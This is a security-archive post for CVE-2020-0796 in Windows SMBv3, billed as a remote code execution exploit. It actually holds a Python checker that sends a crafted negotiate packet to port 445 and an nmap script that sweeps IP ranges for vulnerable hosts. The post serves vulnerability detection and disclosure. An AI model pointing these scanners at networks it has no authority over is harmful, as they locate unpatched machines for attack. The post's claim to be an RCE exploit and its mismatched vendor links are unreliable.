Microsoft Windows SMB 3.1.1 Remote Code Execution Exploit

# Exploit Title: Windows SMBv3 Client/Server Remote Code Execution
Vulnerability - remote
# Author: nu11secur1ty
# Vendor: https://smb.wsu.edu/
# Link:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0796
# CVE: CVE-2020-0796



[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source:  readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program Code]
--------------------------------------
import socket
import struct
import sys

smbsuckmickey_mouse =
b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00
\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
sock = socket.socket(socket.AF_INET)
sock.settimeout(3)
sock.connect(( sys.argv[1],  445 ))
sock.send(smbsuckmickey_mouse)

nb, = struct.unpack(">I", sock.recv(4))
res = sock.recv(nb)

if not res[68:70] == b"\x11\x03":
    exit("Not vulnerable.")
if not res[70:72] == b"\x02\x00":
    exit("Not vulnerable.")

exit("Vulnerable.")

--------------------------------------

#!/usr/bin/bash
if [ $# -eq 0 ]
then
echo $'Usage:\n\vulnsmb.sh TARGET_IP_or_CIDR'
exit 1
fi
echo "Checking if there's SMB v3.11 in" $1 "..."
nmap -p445 --script smb-protocols -Pn -n $1 | grep -P
'\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | replace 'Nmap scan report
for' '@' | tr "@" "\n" | grep 3.11 | tr '|' ' ' | tr '_' ' ' | grep -oP
'\d+\.\d+\.\d+\.\d+'
if [[ $? != 0 ]]; then
echo "There's no SMB v3.11"
fi

-------------------------------------

[Vendor]
Microsoft


[Product]
https://smb.wsu.edu/


[Vulnerability Type]
Remote + Layer 2



[Security Issue]
The security update addresses the vulnerability by correcting how the SMBv3
protocol handles these specially crafted requests.


[References]
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0796
A remote code execution vulnerability exists in the way that the Microsoft
Server Message Block 3.1.1 (SMBv3) protocol handles certain requests.
An attacker who successfully exploited the vulnerability could gain the
ability to execute code on the target server or client.
To exploit the vulnerability against a server, an unauthenticated attacker
could send a specially crafted packet to a targeted SMBv3 server.
To exploit the vulnerability against a client, an unauthenticated attacker
would need to configure a malicious SMBv3 server and convince a user to
connect to it.
The security update addresses the vulnerability by correcting how the SMBv3
protocol handles these specially crafted requests.

[Network Access]
Remote + Layer 2


[Disclosure Timeline]
Published: 03/12/2020


[+] Disclaimer
The entry creation date may reflect when the CVE ID was allocated or
reserved,
and does not necessarily indicate when this vulnerability was discovered,
shared
with the affected vendor, publicly disclosed, or updated in CVE.